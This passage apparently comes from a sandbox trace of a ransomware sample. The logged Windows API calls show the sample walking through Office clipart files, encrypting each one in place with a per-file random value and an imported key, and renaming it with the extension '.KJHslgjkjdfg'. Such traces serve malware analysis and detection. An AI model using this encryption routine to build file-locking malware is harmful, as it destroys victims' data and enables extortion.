lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1c0a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HTECH_01.MID", cAlternateFileName="")) returned 1 [0196.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.728] GetProcessHeap () returned 0x2ef0000 [0196.728] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.728] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.728] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.728] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0196.730] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.730] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.730] GetProcessHeap () returned 0x2ef0000 [0196.730] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.730] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.731] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.731] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.731] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.731] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.731] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.731] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.731] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.731] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.731] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.731] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.731] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1c0a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1c0a, lpOverlapped=0x0) returned 1 [0196.732] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1c10, dwBufLen=0x1c10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1c10) returned 1 [0196.732] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.732] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1c10, lpOverlapped=0x0) returned 1 [0196.733] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.733] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1ce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.733] SetEndOfFile (hFile=0x130) returned 1 [0196.736] GetProcessHeap () returned 0x2ef0000 [0196.736] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.736] GetProcessHeap () returned 0x2ef0000 [0196.736] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.736] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid.kjhslgjkjdfg")) returned 1 [0196.737] CloseHandle (hObject=0x130) returned 1 [0196.737] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c11ec00, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c11ec00, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IN00046_.WMF", cAlternateFileName="")) returned 1 [0196.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.738] GetProcessHeap () returned 0x2ef0000 [0196.738] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.738] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.738] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.739] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0196.741] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.741] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.741] GetProcessHeap () returned 0x2ef0000 [0196.741] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.741] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.741] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.741] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.741] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.741] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.741] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.742] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.742] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.742] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.742] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.742] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.742] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x486, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x486, lpOverlapped=0x0) returned 1 [0196.742] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x490, dwBufLen=0x490 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x490) returned 1 [0196.742] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.742] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x490, lpOverlapped=0x0) returned 1 [0196.742] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.742] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x564, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.742] SetEndOfFile (hFile=0x130) returned 1 [0196.745] GetProcessHeap () returned 0x2ef0000 [0196.745] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.745] GetProcessHeap () returned 0x2ef0000 [0196.745] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.745] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf.kjhslgjkjdfg")) returned 1 [0196.746] CloseHandle (hObject=0x130) returned 1 [0196.746] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20f3db00, ftCreationTime.dwHighDateTime=0x1bd4b24, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20f3db00, ftLastWriteTime.dwHighDateTime=0x1bd4b24, nFileSizeHigh=0x0, nFileSizeLow=0x318, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IN00118_.WMF", cAlternateFileName="")) returned 1 [0196.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.748] GetProcessHeap () returned 0x2ef0000 [0196.748] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.748] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.748] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.749] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.751] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.751] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.751] GetProcessHeap () returned 0x2ef0000 [0196.751] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.751] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.751] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.751] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.751] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.751] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.751] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.751] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.752] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.752] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.752] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.752] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.752] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x318, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x318, lpOverlapped=0x0) returned 1 [0196.752] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x320, dwBufLen=0x320 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x320) returned 1 [0196.752] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.752] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x320, lpOverlapped=0x0) returned 1 [0196.752] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.752] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.752] SetEndOfFile (hFile=0x130) returned 1 [0196.755] GetProcessHeap () returned 0x2ef0000 [0196.755] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.755] GetProcessHeap () returned 0x2ef0000 [0196.755] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.755] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf.kjhslgjkjdfg")) returned 1 [0196.756] CloseHandle (hObject=0x130) returned 1 [0196.756] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x146a8500, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x146a8500, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IN00177_.WMF", cAlternateFileName="")) returned 1 [0196.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.757] GetProcessHeap () returned 0x2ef0000 [0196.757] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.757] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.757] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.757] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0196.760] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.760] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.760] GetProcessHeap () returned 0x2ef0000 [0196.760] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.760] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.760] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.760] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.760] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.760] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.760] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.760] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.760] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.761] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.761] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.761] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.761] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x432, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x432, lpOverlapped=0x0) returned 1 [0196.761] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x440, dwBufLen=0x440 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x440) returned 1 [0196.761] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.761] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x440, lpOverlapped=0x0) returned 1 [0196.761] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.761] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.761] SetEndOfFile (hFile=0x130) returned 1 [0196.764] GetProcessHeap () returned 0x2ef0000 [0196.764] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.764] GetProcessHeap () returned 0x2ef0000 [0196.764] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.764] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf.kjhslgjkjdfg")) returned 1 [0196.765] CloseHandle (hObject=0x130) returned 1 [0196.765] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37eef900, ftCreationTime.dwHighDateTime=0x1bd4b35, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37eef900, ftLastWriteTime.dwHighDateTime=0x1bd4b35, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IN00204_.WMF", cAlternateFileName="")) returned 1 [0196.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.766] GetProcessHeap () returned 0x2ef0000 [0196.766] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.766] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, 